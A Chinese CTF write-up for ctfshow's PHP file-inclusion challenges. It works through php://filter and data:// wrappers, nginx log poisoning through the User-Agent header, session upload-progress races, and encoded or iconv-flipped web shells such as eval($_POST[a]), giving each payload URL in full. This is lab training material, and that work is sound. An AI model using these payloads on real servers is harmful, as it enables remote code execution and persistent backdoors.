ctfshow-web文件包含
文章目录
78-php&http协议
由代码可知,包含文件即可得到flag,但是并不知道文件名
解决:采用伪协议 参考文献:https://segmentfault.com/a/1190000018991087
方法一:php://filter/read=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
http://7572d0a0-f2e4-4fc7-9baa-148464bfe390.challenge.ctf.show/?file=php://filter/read=convert.base64-encode/resource=flag.php
进行base64解码->拿到flag
方法二:data://
协议->data://text/plain
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
http://7572d0a0-f2e4-4fc7-9baa-148464bfe390.challenge.ctf.show/?file=data://text/plain,<?php system("ls");?>
发现有flag.php,再用system命令拿到flag
79-data&http协议
观察代码,它使用str_replace()
函数进行过滤
使用data://
协议->data://text/plain
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
http://698d0dc8-cd64-4e46-89b7-6fef0bc88de9.challenge.ctf.show/?file=data://text/plain,<?=system("tac flag*");?>
因为过滤php,所以我们使用<?=system
->代替 <?php system
同样,后面使用正则表达式flag.php
替换为flag*
->拿到flag
80-日志包含
过滤了php和data,而file://
协议和zip:// & bzip2:// & zlib://
协议必须要知道路径。但是我们也并不知道flag.php存在的路径
解决:配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
抓包->查看中间件->是nginx
查看nginx日志路径
抓包->将UA改为后门代码->forward
包含:var/log/nginx/access.log
http://f25ebafd-4034-4b03-914d-d84b38f74af4.challenge.ctf.show/?file=/var/log/nginx/access.log
日志里会记录访问时间,访问者的UA信息->将UA信息改成后门代码->写入log文件(任何文件后缀都能被当作脚本去执行)
使用系统命令system(“ls”);
函数获取文件目录->发现有一个fl0g.php文件
使用命令system("tac fl0g.php");
拿到flag
81-日志包含-同80关
抓包->更改UA头为后门
日志包含:var/log/nginx/access.log
http://6ba290db-4bd9-4936-a189-3e3d43c500bb.challenge.ctf.show/?file=/var/log/nginx/access.log
用系统命令x=system("tac fl0g.php");
拿到flag
82-86-SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名’sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见
参考链接:https://www.cnblogs.com/NPFS/p/13795170.html
87-php://filter/write&加它编码
观察代码发现,使用了url解码,
采用伪协议:php://filter/write=convert.base64-encode/resource=[文件名]
读取文件源码(针对php文件需要base64编码)
php://filter/write=convert.base64-encode/resource=flag.php
由于浏览器的地址框会自动将url编码解码,所以我们要编码两次(地址框解码一次,urldecode解码一次)
http://c8ae5394-7ec7-402b-ba3e-7a742df19d99.challenge.ctf.show/?file=
观察代码发现->使用post传参给content
所以我们用post传递后门代码->content=<?php system('tac f*.php');?>
因为我们采用php://filter/write=convert.base64-encode/resource=[文件名]
->base64写的代码,所以我们传参也要用base64进行编码(base64解码时,是4个为一组,flag.php的内容<?php die('大佬别秀了');?>中phpdie会参与base64解码,因为php die只有6个字节,补两个a就是8字节了)
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
拿到flag
88-data&base64协议
代码过滤了/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\.
,但是没有过滤data
使用data://
协议->data://text/plain
http://127.0.0.1/include.php?file=data://text/plain,<?=system('tac flag*');?>
但是还过滤了(),=,* 等。所以我们可以进行base64编码
http://127.0.0.1/include.php?file=data://text/plain;base64,base64编码后的值
http://fdc6e459-950d-409e-a368-12ac00533f55.challenge.ctf.show/?file=data://text/plain;base64, <?php system('tac *.php');?>aa
,对<?php system('tac *.php');?>aa
进行编码。因为过滤了=,所以base64编码后的值不能有=,所以我们随便加一些字母去除=
http://fdc6e459-950d-409e-a368-12ac00533f55.challenge.ctf.show/?file=data://text/plain;base64, PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
拿到flag
117-php://filter/write&新的算法
代码过滤了几乎所有方法,但是没有过滤php,显然—>这一关使用php进行过滤
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hh.php
也过滤了base64,rot13编码
解决:convert.iconv
:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo"经过一次反转:".$result."\n";
echo"经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>
所以经过iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
转换后的代码为?<hp pvela$(P_SO[T]a;)>?
contents=?<hp pvela$(P_SO[T]a;)>?
将代码上传后,我们直接访问hh.php
触发代码
通过命令拿到flag
总结:
include('1.php');
实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件
1.每个需要过滤的地方,进行一次过滤的编写
2.每个需要过滤的地方,进行一次文件包含调用过滤函数
1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发
2.配合日志文件进行getshell,日志会记录访问UA信息,修改信息为后门代码,包含即执行后门代码、
3.配合会话文件进行getshell
文件包含思路:
本地包含:LFI local file include
包含一个文件,这个文件有后门代码,就可以shell连接
文件来源?
1.可以通过文件上传获取,上传的文件在服务器上
2.没有文件上传,借助日志写入(UA),session文件写入
3.伪协议没有上传文件也能进行php代码执行,读文件,写文件(编码算法的转换)